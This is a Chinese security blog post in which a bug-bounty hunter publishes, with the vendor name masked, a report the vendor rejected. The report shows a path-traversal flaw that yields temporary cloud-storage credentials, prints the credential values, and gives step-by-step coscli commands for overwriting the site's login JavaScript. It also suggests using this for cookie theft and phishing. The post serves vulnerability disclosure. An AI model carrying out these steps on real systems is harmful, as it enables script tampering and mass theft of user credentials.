想写点内心情绪化的东西，写了又删了，开始之前还是叨叨几句，

本打算等双十一活动最终结果尘埃落定了，做期总结，但不出意外的话，意外就来了

一句底层一致-同源就忽略，挺无奈，但尊重你们的决定，不想去改变谁的认知或看法

多挖挖洞、多审审代码，在安全的第一线还是比较有必要的，Be real.

分享此报告的原因：

第一，NotAboutMoney！挖SRC一直都很佛系，真是为了刷钱，如报告所说，知道这个站点有很多接口有类似问题，每个接口都可以薅一薅，我一般写报告会将类似原理或者共性的问题都会一次性写出 ，甚至影响面涉及多少域名等都写的很细，有机会可以分享更多报告，毕竟挖SRC不是我的职业，掘金者的心态，有更好，没有不强求，再说了就算给个高危那点米真不多啊，不如当打工皇帝~

第二，为了军衔荣誉，阿里的这个活动挺好，我一直保持玩家的心态参与，对于双十一保卫战，内心有着一个梦想，由于2020年双十一保卫战，有个洞最后降成中，离军长一步之遥，今年想着冲击下军长

第三，没有没有权利的义务，厂商获得了实际的收益，漏洞修复了，本人的投入付出不仅没有收获，也导致无法达成预期军长的目标(8家厂商高危势在必得的，包括此次报告的厂商），在提前打招呼和备注的情况下，审核8天后先是确定后又忽略，完美错过活动时间，连补救的余地都没有

第四，挺自恋的，一直觉得自己的报告写得还不错，可以在本期公众号分享一些思路

下面为原始提交报告内容，进行了一定的脱敏处理，请对号入座。

一、漏洞说明及影响

数据完整性影响

• 篡改用户机密数据，图片，文件，CAD等

• 篡改VR内容

• 污染JS，CSS等文件，植入后门Javascript代码

• 等等

二、漏洞证明

1. 登录niubi666.cn

随便用一个用户登录即可，拿到Cookie，称之为$djerryz_cookie$

2. 获取STS临时票据

GET /api/design/getCommonAuth?source=&data_key={hack_payload}&type=floorplan_recognition_file HTTP/1.1
Host: niubi666.cn
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: $djerryz_cookie$

拿到例如如下STS:

{
    "tmpSecretId": "AKIDggTA5S2ba-weia9kp68487rKTbyrZBW7atU7h8lHc4sMSLQa_oTKVbA6ZGWfNW4G",
    "sessionToken": "d4L4U50fFeYv0MxvD44ZskzY70CAo22ace00f9b4f36d5a064daeea515de182339OSM3f9mC5TCSxzfM4FnXSdvYy2efgSrv5S7PgS7hQtPRcccl6s5DPsGFHfBph7ORi5GvKMMGoW50x5sy_tUo5Nf4hBVYcim5nrlBuBye14qifbQmVX30z7mSSQeWDGJK48d1Qz9BroA9czTmXJ0BdZ8GogqLQEe9LEJXWoI_YIN2JftyMbAe4x-E4yboKZ6RkXYuoZ1oM5ZBTQ4CfkXUXFpvLLYYFFp0nEoniNvTQ0PcT4yIHPSrtCNtgTOo-p9cxNlD6-2z9voA2goHDkYAXXjhhE8d6ojlSk8rgUYJtleDXRGn7euHeqL0x6IBh79Vss1BrX-6g-wuQe3QRtMwrngNRwAPtRhC6byzP7fxpWaUWOBR4CStjUnx1cCWYnIUsDATW5tkQCifwTeZNrVDTYowR0IchB-c0HEZeqLCUB_g7w3oX-v4fqfljYyp3UnGqJHSoQuMMESGVrifCUHzOTPBWR2a9c76W1x627IrQsMlPca4VVtsj3Xgdhz7eX5nezWOvZN6zrshNsO2eDHa2-cXn-Mdbg6bE2wXrI-1FbE-SRVNG-Usw0I_cBwwSQrnE9owZcfvEVEUUo6Ilc3FoRK_Pjcg1wvUBkNe1FJJd0LKh1peTXi6rUxOr87W_TO3DLjwFogqJZ9TpdVUl3eEg",
    "tmpSecretKey": "kHDHFuDG6qnQlGAQKDWvdcMUjtZ6mj00dfzjRpzenVU=",
    "ttl binding:": 1800,
    "ttl": 1800,
    "prefix": "release/",
    "expire": 1800,
    "app_id": "1304125667",
    "bucket": "vr-public-1304125667",
    "region": "ap-beijing",
    "is_accelerate": "0",
    "host": "https://vr-public-1304125667.cos.ap-beijing.myqcloud.com",
    "download_type": "direct",
    "download_host": "https://vr-public-not-cached.X-cdn.cn"
}

3. 配置cos客户端

# ubuntu下
wget https://cosbrowser-1253960454.cos.ap-shanghai.myqcloud.com/software/coscli/coscli-linux
chmod +x coscli-linux
 
# 初始化配置:
~$ ./coscli-linux config init
Welcome to coscli!
When you use coscli for the first time, you need to input some necessary information to generate the default configuration file of coscli.
The path of the configuration file: /home/ubuntu/.cos.yaml
 
Input Your Secret ID:
上面获得的tmpSecretId
Input Your Secret Key:
上面获得的tmpSecretKey
Input Your Session Token:
上面获得的sessionToken
Input Your Mode:
回车
Input Your Cvm Role Name:
回车
Input Your Bucket's Name:
Format: <bucketname>-<appid>，Example: example-1234567890
上面获得的bucket
Input Bucket's Endpoint:
Format: cos.<region>.myqcloud.com，Example: cos.ap-beijing.myqcloud.com
根据上面的host，填写为cos.ap-beijing.myqcloud.com
Input Bucket's Alias: (Input nothing will use the original name)
回车
 
The configuration file is initialized successfully!

4. 篡改桶上数据

明确下哪些可以改，可以看到 "prefix": "release/", 在Burpsuite的流量里面翻一翻这个，有如下域名：

口说无凭，证明如下:

• http://vrlab-static.XXcdn.com/release/web/logo.bdba1aff.svg

• http://vr-public.niubi666-cdn.cn/release/web/logo.bdba1aff.svg

• https://vr-public-not-cached.niubi666-cdn.cn/release/web/logo.bdba1aff.svg

• http://vr-image-4.niubi666-cdn.cn/release/web/logo.bdba1aff.svg

• http://vr-image-3.niubi666-cdn.cn/release/web/logo.bdba1aff.svg

• http://vr-image-2.niubi666-cdn.cn/release/web/logo.bdba1aff.svg

• http://vr-image-1.niubi666-cdn.cn/release/web/logo.bdba1aff.svg

访问上述域名+对应的资源路径，返回的数据内容是一致的，也比较符合大厂的资源域名配置情况。

很好，接下来要证明覆盖用户的数据，大致是：

• 用户的配置json会在这个路径下：/release/decoration/plan/data/

• 用户上传的vr素材或者图库会在这个路径下: /release/floorplan_recognition_img/design_tool/

可以看到上面的"prefix": "release/"是满足用户数据的ACL判别的，是可以增删改的，下面重点具体证明覆盖JS，下面的步骤也可以用来篡改用户的数据，一样的！

4.1 篡改首页登录上的JS

在特定的JS文件加入:

1. 访问niubi666.cn ，点击登录，会跳转到login.niubi666.cn这个页面

2. 具体报文：

3. 将文件备份到本地

   ./coscli-linux cp cos://vr-public-1304125667/release/web/niubi666-login/public/index.780383ea.js index.780383ea.js

4. 在JS文件插入djerryz标识:

   cp index.780383ea.js index.780383ea-modify.js
   vi index.780383ea-modify.js # insert testby DJerryz in it

5. 将篡改的文件覆盖之前的

   ./coscli-linux cp index.780383ea-modify.js cos://vr-public-1304125667/release/web/niubi666-login/public/index.780383ea.js

6. 检查文件被篡改的情况

   wget http://vrlab-static.XXcdn.com/release/web/niubi666-login/public/index.780383ea.js -O cdn.js
   wget https://vr-public-not-cached.niubi666-cdn.cn/release/web/niubi666-login/public/index.780383ea.js -O oss.js

很好，到此为止我们成功修改了桶上的JS文件数据，下面章节会解答为什么这会存在真实的危害！

三、漏洞原理

STS临时权限在生成的时候在后台可以配置ACL策略，上面提到prefix就是可操作的范围，大约在2年前，那时候挖到STS，一挖一个都是没有配置策略的，当然X壳这儿做了限制，每次会附加一个随机值，这样就限定了操作的范围。

但，漏洞的关键在于上述接口的data_key字段，通过构造穿越符号后，我们可以控制为任意prefix，例如上面的release/，甚至为/ , 基于此完美的绕过了ACL的控制，可以对桶上的任意Object拥有了读写权限(cp 本地为读,cp cos://为写)！

当然由于没有给List权限，没法直接列出Key，但此时的权限也非常的大，在已知资源key的情况下，可以任意读写，完成攻击。

接下来解答，为什么桶上的数据已经篡改了，但是通过cdn域名访问还是原来的？CDN存在缓存更新资源会滞后

上面列出了7个域名，除了前两个，其他的域名访问资源在10分钟内都会看到篡改后的，前两个特别在于其为CDN域名，其配置有缓存更新策略，在腾讯云，阿里云，AWS等云厂商上OSS+CDN是大厂们用来加速资源访问的常见组合，

尤其对于被大量访问的JS，CSS，图片等资源，越是重要的域名配置的缓存更新时间会越长，当然到达了更新时间，CDN会去请求OSS数据源，此时再去访问即为篡改后的，以此攻击访问首页并加载篡改后JS的用户（网站，APP端）等。

当然对于白盒的视角上述说的点，是很容易被证实的。

四、其他

reference:

• 2021 policy逻辑 某X 严重 > 商家，用户评论信息篡改

• 2021 路径逻辑 某壳 高危 > 核心CDN上重要文件如修改用户协议

• 2021 ACL逻辑 某X 高危 > ACL绕过可篡可List

• 2022 信息泄露 某X P1 > 核心文件篡改

• 2023 policy逻辑 某X 高危 > 多个核心资源域名数据篡改，修改社会报告，协议等

• 2023 路径逻辑 某壳 ???  希望能定级个严重，毕竟存储XSS都是高危，存储X还需要1click利用，这儿影响多个资源域名，且不仅可以修改大量的用户敏感数据，还可实现0click的蠕虫级别的XSS来窃取全站用户的Cookie或者跳转到钓鱼页抓口令，respect!

原文始发于微信公众号（Art Of Hunting）：[AOH 026][1day]XSS全站用户?篡改厂商首页JS文件实战